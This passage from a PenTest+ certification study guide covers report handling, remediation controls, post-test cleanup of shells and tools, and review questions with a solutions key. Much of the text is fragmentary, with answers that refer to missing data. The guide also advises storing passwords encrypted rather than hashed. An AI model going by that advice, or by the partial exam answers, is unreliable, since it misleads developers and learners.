414 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Report Contents
Answer the following questions:
2. Your team’s PenTest report should account for your client’s risk appetite.
At the beginning of the PenTest process, what kinds of questions could
you ask them to assess the amount of risk they would be willing to accept?
3. As a result of receiving your team’s report, you client has asked for some
suggestions for physical intrusion remediations. What would you suggest?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 415
Topic 18C
Define Best Practices for Reports
4
The report is the showcase of the PenTest. In order to present a polished and
professional report, it is advisable to use best practices, a framework, and other
proven formulas.
Additionally, it must be remembered that a report is a confidential document
containing sensitive information and so should be treated as such.
In this section, you will be provided with suggestions for how to construct the
report, content that should be included, and methods on how to preserve and
disseminate the document.
Storing Reports
Depending on different factors such as a client’s objectives, continued penetration
testing and retesting, or a client’s industry and compliance requirements, you will
need to define storage time for reports and supporting documentation. This may
include evidence, notes written during the assessment, and other elements that
we will be discussing next, as they can aid in different areas of post-engagement
activities. Also, the sensitivity of what you are storing may alter the time you wish to
store it, as you will see in the following information.
To help keep track of stored reports and documentation, it is recommended to
maintain document control of stored reports, as well as other relevant information.
For storage, the most applicable ones are start and end date of activities and the
date of the last revision to the report.
In general, you should consider implementing the following components into the
reports:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
416 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Component Description
Cover page The cover page typically includes the name of the report,
the version and date, the author (either the name of the
person or the organization that is conducting the testing),
and target organization name.
Document properties This might be just in the electronic version of the
document, or it might be printed as a table in the
document. In either case, it typically includes the
document title, version number, author of the report,
start and end date of activities, and date of the last
revision to the report. It might also include other fields
such as the names of the PenTest team members,
names of those who have accessed and viewed the
report, approver name if stored in a system that
allows documents to be approved or rejected (such as
SharePoint), and a document of classification information
(as determined by the testers or target organization as
defined in the SOW).
Version control This is typically implemented as a table to track changes
made to the report. The tracked information includes a
description of any changes that are made, who made the
changes, the date of the change, and the updated version
number (it might be a full version increment or a “point”
version, again based on the terms defined in the SOW).
• Minimize the transmission of reports across a public network like the internet.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 417
Taking Notes
Another important part of the penetration test that can aid you during reporting
(and after) is note taking. For example, note taking can help you keep track of
additional details that occurred during the activities that you do not want to miss
mentioning in the report.
Alternatively, if after some time and other activities you are asked about this
engagement in particular, you can refer back to your notes for any additional
information that you may need.
It will be important to tailor your note taking depending on your needs and the client’s.
As this section is usually for internal use, it tends to be more flexible in regards
to the needs of each penetration testing team, unlike the next section which is
commonly tailored to a particular industry.
Grabbing Screenshots
Screenshots are a key component of ongoing documentation during tests. From
these you can provide both evidence that an attack path was successful as well as
provide a different insight on the attack rather than just text.
You should aim to grab only the relevant sections to minimize capturing
information that is not needed for the report. In other cases, sensitive information
is exactly what you need. For example, a screenshot of Mimikatz will clearly display
a user password in cleartext or the hash of an important administrative account.
In some cases, teams prefer to store screenshots with a section of the password or
hash censored or otherwise remove part of the sensitive information while leaving
a section that proves the attack was successful.
You can work with the client to determine how to properly handle those events.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
418 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 419
Identifying Vulnerabilities
The full list of vulnerabilities that the penetration testing team identified during the
activities can be useful not only to the client but also to the team itself.
Even if the prioritized higher-rated vulnerabilities are the ones highlighted in
the report, the client might still want to know their full exposure and what other
remedies and solutions they should consider.
For the team, this information can provide insight on which high-rated
vulnerabilities were not successfully exploited by the team and do further research
on those. It can also provide useful information to the team regarding which are the
most commonly exploited vulnerabilities as discussed in Common Themes/Root
Causes.
Remember that you can always provide the full vulnerability details in the appendix
of the report or as a separate file to keep the report concise.
Providing Observations
Observations are closely related to the concepts we just covered. These are the
conclusions made out of the material we previously gathered, important highlights
of issues found, and actions taken to resolve them, or simply notes to keep in mind
for the next retest.
It can include more statements such as deviations from scope, changes in priority,
and other important elements that should be considered for the report, future
retest, and other client-related information.
• Executive summary
• Scope details
• Methodology
• Attack narrative
• Findings
• Risk rating
• Risk prioritization
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
420 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Remediation
• Conclusion
• Determine the file format for the report, such as Microsoft Word, OpenOffice, or
HTML documents.
• Determine how the formal hand-off of the report will happen between your
PenTesting team and the client.
• Recommend SDLC and best coding practices for secure software development.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 421
Review Activity:
Best Practices for Reports
5
1. Your colleague, who has just overseen and concluded a PenTest project,
is requesting some advice on the best practices for the secure handling
of their PenTest reports. What would you suggest?
2. Your client has asked about the common root causes of vulnerabilities.
What are some recurring conditions or common themes that can cause
vulnerabilities to emerge?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
422 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
3. Your colleague is writing their first PenTest report and has asked you
for advice. What are some of the sections you would suggest that they
consider including in their report?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 423
Lesson 18
Summary
4
In this lesson, you learned about how to approach your PenTest report. Who the
report is being written for is a very important factor to consider when approaching
the PenTest report. Targeting your audience is paramount. You were introduced to
standard potential audiences and learned about the importance of writing in a form
that they can understand and that will be of the most use to them in their roles.
Next, you learned about typical report contents that could be included and when
and why you would include them. You examined the various sections that can
be included, from Executive summary to Introduction, to addressing scope, to
including details of what was done and how much detail should be included, all the
way to writing a conclusion for the report. You also learned about risk and business
impact analysis along with remediation.
Finally, you learned about best practices for PenTest report writing. You learned
about storage duration and associated risks of storing sensitive information. To
conclude, you examined the importance of note taking.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 19
Recommending Remediation
1
LESSON INTRODUCTION
In addition to conducting the PenTest exercise, part of the team’s duties is to
recommend any remediation controls. Controls include technical controls, such
as patch and configuration management, cryptographic key rotation, and network
segmentation. Administrative controls are also essential and include guidelines on
password management and organizational policies and procedures. In addition, the
team should outline any operational and physical controls as well.
Lesson Objectives
In this lesson, you will:
• Paraphrase essential technical controls that prevent a malicious actor from
gaining control of a logical asset.
• List physical security controls that are used to prevent unauthorized access to
sensitive material.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
426 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 19A
Employ Technical Controls
2
You have completed your PenTest, you have evaluated the company’s security, and
now you need to remediate any issues you have found.
There are technical controls and best practices that should be employed to make a
system more secure. If these are not employed, they should be recommended to
the customer.
• General standards for hardening are offered by ISO, SANS, NIST, CIS (Center
for Internet Security), and more.
• Installing any patches and updates that hardware manufacturers and software
publishers have made available
• Ensuring hosts are properly segmented from other hosts on the network
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 427
• Sanitization
• Allow list
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
428 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
// Prepare statement
$stmt = $db_conn->prepare("INSERT INTO products
(prod_name, prod_desc) VALUES (:prod_name, :prod_
desc)");
$stmt->bindParam(':prod_name', $prod_name);
$stmt->bindParam(':prod_desc', $prod_desc);
?>
The INSERT INTO query is prepared, essentially creating a template for the database
to parse. This parsed template is stored without being executed.
The input values for $prod_name and $prod_desc are then bound to each
parameter and transmitted after the query itself. When plugged into the template,
the input values are executed literally, preventing the web app from succumbing to
any injected code.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 429
There are many authentication methods that supplement the “something you
know” of password-based authentication. Generally, MFA requires, at a minimum,
a second method of authentication outside of “something you know”. Perhaps the
most common is a limited-time security code sent to the user’s smartphone via
SMS.
This fulfills a “something you have” factor and can be combined with a username
and password to sign in. Since many people have smartphones, this is not an overly
strict requirement and, in some cases, the organization will issue smartphones to
employees for them to use on the job.
Other examples of authentication factors used in MFA include smart cards
or hardware tokens/key fobs (these are “something you have”) and biometric
fingerprint or retina scanners (which are “something you are”).
Encrypting Passwords
Storing passwords in cleartext should be avoided whenever possible. Ideally,
passwords should always be stored in a secure format that prevents an attacker
from easily reusing them, so even unsalted hashes might not be enough.
As mentioned before, implementing multi-factor authentication can help with
keeping passwords from being reused, but some solutions do not readily support
MFA.
For these reasons, it is always recommended to store passwords in an encrypted
format. In cases where credentials are being stored for a particular service, a
password manager or similar solution can be used as they commonly implement
encrypted databases to store passwords.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
430 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Rotating Keys
Key rotation is the process of periodically generating and implementing new
access keys to a server/service. Similar to password rotation, certain services use
key files or strings to grant access, such as a server accessing a repository, and
should be scheduled for periodic updates.
Many of the recommendations for passwords apply here, such as using a minimum
length and setting up expiry periods for keys.
Certificate Pinning
Certificate pinning is the process of assigning a specific certificate to a particular
element to avoid man-in-the-middle-attacks. It usually refers to, for example,
assigning a particular certificate public key in order to connect to a website securely
and if a different one is provided, it will get rejected without any further checks.
This will affect certain situations, such as when the private key of the website gets
compromised and a new one is generated, the client that has the old certificate
pinned will reject the new one without the usual steps of confirming with a
Certificate Authority for old rejected certificates and new valid ones.
However, this may still be a valid approach in situations where we physically
manage both server and client devices directly, such as in an internal network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 431
Segmenting Networks
Network Segmentation is the process of dividing the system infrastructure into
different physical or virtual subdivisions. For the purposes of security, this will
provide a separation between different levels of access requirements and security
measures needed for different levels of services and users and allows for better
security monitoring.
There are different examples of this, but a common one is to determine which
services need to be internet-facing, which ones need to be both internet-facing and
internally accessible, and which should be kept internal only. Network segmentation
would separate these into different locations and only certain users and services
would be allowed to communicate between the different segments.
This process is ideally done at a physical level to reduce the likelihood of a
vulnerability being exploited on the virtual solution. Alternatively, some virtual
sub-nets are created specifically for the purpose of monitoring and alerting of
suspicious activity.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
432 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Technical Controls
3
1. Your client wants to harden their system. They have asked you for
advice. What are some of the techniques available to achieve this?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 433
Topic 19B
Administrative and Operational
Controls
4
There are administrative and operational controls that should be implemented for
best practice to make a system more secure.
If you do not see these implemented, they should be recommended to the
customer.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
434 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 435
themselves open to social engineering where someone could just come into their
space and find where the password was written down.
The following list includes mitigation strategies that you may want to present to
your clients concerning secure password storage and transmission:
• Don’t allow developers to hard-code credentials into apps.
• For example, use SSH instead of Telnet, HTTPS instead of HTTP, FTPS instead
of FTP, etc.
• Ensure network access protocols are using strong ciphers, like AES-256 and RC6.
• Ensure security solutions like IDS and data loss prevention (DLP) can monitor
and manage unencrypted traffic in the network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
436 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Is highly extensible
• Is concise
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 437
• Overly verbose errors. Whether intentional or not, some apps reveal a great
deal about a code’s structure and execution through error messages returned
to the user. A simple form injection might return a SQL error revealing a table’s
column names, for example.
• Lack of code signing. Code that lacks a digital signature cannot be validated
for its authenticity and integrity. It may be easier to inject malicious code into a
running process when no mechanisms exist to compare that code against the
authorized code.
• Race conditions. These occur when the resulting outcome from execution
processes is directly dependent on the order and timing of certain events. Issues
arise if these events fail to execute in the order and timing intended by the
developer. For example, an app can check that a file exists and then use it later.
You may be able to replace the file after it is checked by the app but not yet
used; this can trigger app instability or privilege escalation.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
438 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Have KPIs that management can use at-a-glance to see the security effectiveness
of new technology. Examples include:
• 80% of vulnerabilities can be remediated with 20% of the cost and effort.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 439
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
440 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Mandatory Vacations
Another operational control that should be considered is mandatory vacations.
Users are more likely to make mistakes when they are tired, stressed, or more likely
to leave the organization.
In cases where more people are needed to fulfill a role or position, job rotation can
also help train new users for a particular role.
User Training
Remediation should include requiring end-user cybersecurity training for all
employees. The users should be able to identify why it is important that everyone
does their part in keeping the organization and its assets secure. Training should
include:
• How to spot threats they might encounter on the job
If users find a suspicious device, they should be aware that they need to let the
IT department know about the device. This includes items such as USB drives,
tablets, laptops, and routers that they haven’t seen previously. The IT department
should have resources and procedures in place for what actions to take if such a
device is found. This might include testing the device in a sandbox environment or
connecting it to an air-gapped computer.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 441
Review Activity:
Administrative and Operational
Controls
5
1. Your company started small but is growing. They used to allow everyone
access to all areas of the business. Now that the company has become
significantly larger, they have asked you to recommend a solution for the
problem of segmentation for security purposes. What would you suggest?
2. You have been asked to train your client’s IT team with a view to
improving the standard of password storage and transmission within the
company. What initial advice will you provide?
3. You have been asked for advice by your client. They need to know what
very basic training they should give to their general employees about
cybersecurity awareness. What would you say?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
442 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 19C
Physical Controls
4
Physical controls can prevent many of the physical attack vectors that are usually very
successful in providing the penetration testing team with notably better access, social
engineering opportunities, and other advantages that are not present remotely.
To mitigate these attack paths from being leveraged by a threat actor, there are
different solutions to employ.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 443
Review Activity:
Physical Controls
5
1. The company wishes to harden their physical access. They have asked
you to suggest methods of securing physical access into the building.
Apart from the RFID card in the elevator, what other suggestions
could you make for locations at which physical access control can be
implemented?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
444 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 19
Summary
4
In this lesson, you learned about remediation strategies. You learned about
the importance of technical controls, specifically about system hardening. You
learned about the process of protecting your system using sanitization techniques.
You investigated authentication protocols and were introduced to multi-factor
authentication and examined its potential uses. Additionally, you investigated
security protocols including passwords patches, key rotation, certificates, and the
concept of network segmentation.
You then learned about administrative and operational controls including
the benefits of role-based access control. You examined passwords and their
constituents. Next, you examined the software development lifecycle from the
perspective of security and looked at both secure and insecure coding practices.
You also investigated additional technical and operational considerations.
Finally, you learned about the importance of physical controls by examining access
control, biometric controls, and video surveillance.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 20
Performing Post-Report Delivery
Activities
1
LESSON INTRODUCTION
Once the PenTest is complete and all reporting is disseminated to the appropriate
stakeholders, the team will need to ensure all traces of the test have been
eradicated. That involves removing any shells, credentials, and tools, along with log
files, data, and evidence of compromise. You will want to make sure the client has
accepted the results; and then plan for the next test. Finally, the team will need to
gather and review any lessons learned during the PenTest using a neutral facilitator.
Lesson Objectives
In this lesson, you will:
• Summarize the types of activities the team will need to complete as they conduct
a post-engagement cleanup.
• Compile a list of follow-up actions that includes obtaining client acceptance and
a session to hash out lessons learned.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
446 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 20A
Post-Engagement Cleanup
2
In any case where an exploit will destabilize a live production system, you should
be cleaning up directly after. However, for everything else, you can wait until the
report has been handed off to begin your cleanup tasks. The purpose of these tasks
is to ensure that there are no artifacts left over that an attacker could exploit or that
could lead to more risk than the organization is willing to tolerate.
Some common cleanup tasks can include, but are not limited to:
• Delete any new files you created from the affected systems.
• Remove any credentials or accounts you created from the affected systems.
• Remove any shells, RATs, or other backdoors from the affected systems.
• Remove any additional tools you may have left on the affected systems.
Removing Shells
As for removing shells, you need to remember that you likely tried to hide them
on the target systems. In fact, you may have hidden them in multiple ways so that
other shells could compensate if one were discovered.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 447
Make sure to remove any values added to the HKLM and HKCU Run Registry keys
that start a shell on a Windows system during boot. On Linux, depending on the
distribution, scripts in /etc/init.d/ and /etc/systemd/ are examples of similar
run-on-boot functionality.
Also make sure to remove any scheduled tasks in Windows Task Scheduler or the
Linux crontab file that call a shell. Similarly, just because you can’t see the shell
running on the system when you check it, doesn’t mean it isn’t lying dormant,
waiting to be called by a scheduling service or daemon. Likewise, if you added a
Netcat binary or other shell software to the target system, then you should also
remove it so that an attacker can’t take advantage of it.
Eliminating Tools
Besides shells, you’ll also need to remove other tools that you added to a system to
enable its compromise, such as Metasploit payloads, keyloggers, and vulnerability
scanner agents.
Some of these tools might be loaded into memory and are therefore automatically
removed on system reboot (e.g., certain Metasploit payloads), whereas others linger
on the target system until manually uninstalled.
For the latter, a superficial deletion of the tool is not necessarily enough—you may
need to, when possible, securely destroy (also referred to as shredding or purging)
the tool’s data and any associated files so that they cannot be recovered by an
attacker or curious user.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
448 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 449
Review Activity:
3
Post-Engagement Cleanup
Answer the following questions:
2. While you are advising the PenTesting team on cleanup, you should
remind them about a possible tricky situation when removing their
active directory (AD) account from a workstation. What is the thing that
they need to watch out for?
3. Your team is asking whether using the deletion tool is good enough to
get rid of their artifacts, tools, etc. What should you tell them?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
450 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 20B
Follow-Up Actions
4
Even though the PenTest engagement is formally over with, you might still have a
few final tasks to complete as a follow-up. The client will have to accept your report
and its findings, which have to be backed up by evidence of what you found.
Ideally, the report should also contain recommendations to attend to the issues
found during the penetration test. These mitigation recommendations can be
tested again, for which a few more steps with the client will be needed.
Some examples include:
• Scheduling additional tests with the client organization
• Working with the security team that will implement your recommended
mitigations
• Checking back with the client to see how their mitigation efforts are going
• Researching and testing new vulnerabilities that your team discovered during
the test
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 451
The client may also wish to assess how well the test adhered to the established
scope. They may even benefit from a better understanding of your testing
methodology. In certain circumstances, they may also voice their concerns with how
the test was handled, which is also important in order to understand how to better
manage future situations.
Ultimately, you must work with the client to address their concerns and prove to
them that the test was conducted in their best interests.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
452 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• What can the team do to improve its people skills, processes, and technology for
future client engagements?
• What new vulnerabilities, exploits, etc., did the team learn about?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 453
Review Activity:
Follow-Up Actions
5
2. What should your team recommend to the client to help analyze the
progress made in applying the mitigations to the attack vectors that
were found during the penetration test.
3. Your team has asked for help in drafting a Lessons Learned Report (LLR).
What fundamental questions should you ask and answer about the
PenTest in the report?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
454 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 20
Summary
4
In this lesson, you learned the importance of clean-up after the pentest has been
completed.
It is vital to ensure that any artifacts left over from any processes or procedures you
used to perform the pentest, are completely eradicated. Leaving anything could
result in a real attacker leveraging your scripts, code, or credentials to use in further
attacks against the company. You learned that a deletion may not be good enough,
you may have to thoroughly scrub the artifacts so that they cannot be recovered or
“undeleted.”
You also learned about additional follow-up actions to take with your customer.
The option of retest is vital to ensure that actions have been taken to remedy your
findings. Lessons learned is a crucial step to discuss with the customer so that they
learn from your discoveries and can better defend their networks and systems.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A
Mapping Course Content to
CompTIA Certification
1
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-2 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-3
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-4 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-5
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-6 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-7
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-8 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-9
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-10 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-11
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-12 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-13
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-14 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Appendix A | A-15
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
A-16 | Appendix A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions
Review Activity: Organizational PenTesting
1. Management has gathered the team leaders at 515support.com and outlined the importance
of conducting a PenTesting exercise. Your supervisor has asked the group why PenTesting is
important. How would you respond?
Formalized PenTesting provides a way to evaluate cyberhealth and resiliency with the goal of reducing
overall organizational risk.
2. Management at 515support.com has been working hard at ensuring employees are well trained
in identifying a phishing email. Concurrently the IT team has implemented strong spam filters
to prevent phishing emails from getting to their employees. What is the RISK of an employees
falling victim to a phishing attack using the following information?
Knowing that RISK = THREAT x VULNERABILITY, there is a 30% chance that the employees will fall victim to a
phishing attack.
3. When using a structured approach to PenTesting, each step will serve a purpose with the goal of
testing an infrastructure’s defenses by identifying and exploiting any known vulnerabilities. List
the four main steps of the CompTIA Pen Testing process.
The CompTIA PenTesting process goes through a series of steps that include:
4. Threat actors follow the same main process of hacking as a professional PenTester:
Reconnaissance, Scanning, Gain Access, Maintain Access, and Cover Tracks. What steps are
added during a structured PenTest?
Formalized PenTesting includes 1) Planning and scoping along with 3) Analysis and reporting.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-2 | Solutions
Payment Card Industry Data Security Standard (PCI DSS) specifies the controls that must be in place to
securely handle credit card data. Controls include methods to minimize vulnerabilities, employ strong access
control, along with consistently testing and monitoring the infrastructure.
2. With PCI DSS a merchant is ranked according to the number of transactions completed in a year.
Describe a Level 1 merchant.
A Level 1 merchant is a large merchant with over six million transactions a year.
3. With PCI DSS, a Level 1 merchant must have an external auditor perform the assessment by an
approved _____.
4. Another regulation that affects data privacy is GDPR, which outlines specific requirements on
how consumer data is protected. List two to three components of GDPR.
Require consent means a company must obtain your permission to share your information.
Global reach—GDPR affects anyone who does business with residents of the EU and Britain.
Restrict data collection to only what is needed to interact with the site.
5. What should a company with over 250 employees do to be compliant with the GDPR?
Under GDPR, any company with over 250 employees will need to audit their systems and take rigorous steps
to protect any data that is processed within their systems, either locally managed or in the cloud.
OWASP is an organization aimed at increasing awareness of web security and provides a framework for
testing during each phase of the software development process. Once on the site, you’ll find open-source
tools and testing guidelines such as a list of Top 10 vulnerabilities.
NIST has many resources for the cybersecurity professional that include the Special Publication 800 series,
that deals with cyber security policies, procedures, and guidelines.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-3
NIST SP 800-115 is the “Technical Guide to Information Security Testing and Assessment" and contains a
great deal of relevant information about PenTesting planning, techniques, and related activities.
4. Explain how the MITRE ATT&CK Framework provides tools and techniques specific to PenTesting.
Once in the MITRE ATT&CK framework, you will see many columns in the matrix that describe various tasks
that are completed during the PenTest.
The CWE is a dictionary of software-related vulnerabilities maintained by the MITRE Corporation that includes
a detailed list of weaknesses in hardware and software. CVE refers to specific vulnerabilities of particular
products.
The team will need to clearly understand that they are to maintain confidentiality before, during, and after a
PenTest exercise. Once the testing begins the team will want to proceed with care and notify the team lead if
they have observed any illegal behavior.
2. The team is involved with planning a PenTest exercise for 515support.com. Management is
concerned that the loading dock is vulnerable to a social engineering attack, whereby
someone can gain access to the building by asking someone who is on a smoking break.
Prior to conducting the tests, what should the team do to prepare for the test.
Prior to beginning the test they should ask appropriate questions, such as:
• Who will notify security personnel that the team is using a social engineering exercise to gain access into
the building?
• How many individuals should be testing to see if this type of exploit is possible?
• Can you provide a nonworking key card to make the ploy more believable?
3. The team is involved with planning a PenTest exercise for 515support.com. Management has
asked the team to run a series of scans at a satellite facility. Once the team is on site and
begins testing, one of the team members shows you the result of the vulnerability scan. After
examining the scan, you realized the team member has scanned the wrong network. How
should you proceed?
Although this was an accident, you should immediately notify the team lead, as the test was outside of the
scope of the PenTest.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-4 | Solutions
When testing web applications and web services, the team should define some guidelines. For example, the
team should have the client provide a percentage or discrete value of total number of web pages or forms
that require user interaction. In addition, the team should obtain different roles and permissions for certain
applications.
2. Many companies recognize the vulnerabilities that exist when dealing with cloud
assets and have turned to professional PenTesters to test the strength of the security
mechanisms. 515support.com has asked the team to test several of their cloud assets.
What should the team do prior to testing company assets within the cloud?
Prior to testing in the cloud, the team will need to obtain the proper permissions from the provider and
determine what type of testing will be allowed. They will also need to understand what portions are off-
limits. In addition, the team will need to get a complete understanding of what is hosted, and how the cloud
is used, so they can properly identify points of weakness.
3. When dealing with testing physical locations, what type of location might represent a softer
target as they are less likely to have as many security controls as headquarters?
An off-site asset provides a service for an organization but is not necessarily located at the same place.
Off-site locations may be an easier target because of lack of stringent security measures.
The team should focus on the task at hand, avoid distractions, adhere to the timeline, and keep the status
meetings short and to the point. In addition, make sure everyone knows when to ask for help, so they don't
spend too much time on any single task.
2. While scanning a subnetwork, a client came up and asked Gamali if he could check his web
application to see if it were vulnerable to a Cross Site Scripting (XSS) attack. Gamali replied,
“Let me take a look at my paperwork to see who is testing web applications.” The client
stated, “Oh, this wasn’t included, but I just completed the app and thought you can do a quick
check.” How should Gamali respond?
Gamali should explain that if the test is not specifically in the scope of the PenTest, he cannot do the test due
to legal reasons. He can then offer to check with the team lead to see what options they may have.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-5
3. The management team at 515support.com has provided a list of approved tools to be used
during the PenTest. Ra'Ta needs to conduct a packet sniffing exercise on one of the subnetworks
to see if he can see any passwords or other information in plaintext. However, when checking,
he did not see Wireshark, a tool he needed to complete the test. Ra’Ta is frustrated as he
assumed Wireshark was on the list and asks you what to do. How should you respond?
Explain that if it isn’t on the list, he can’t use the tool unless approval is granted. However, you can offer to
take a look at the list to see if there are any other tools such as TCPDump, that can achieve the same goal.
4. In the contract for 515web.net, the timeline restrictions are defined as follows:
Testing will be conducted from 8:00 A.M. to 6:00 P.M. U.S. Eastern Time.
Team member Eleene tells you she is planning on running a stress test on the web server on
Saturday morning. What is your response?
Explain to Eleene that the stress test is outside of the timeline restrictions, and that you can’t run the test at
another time unless otherwise stated within the individual test plan.
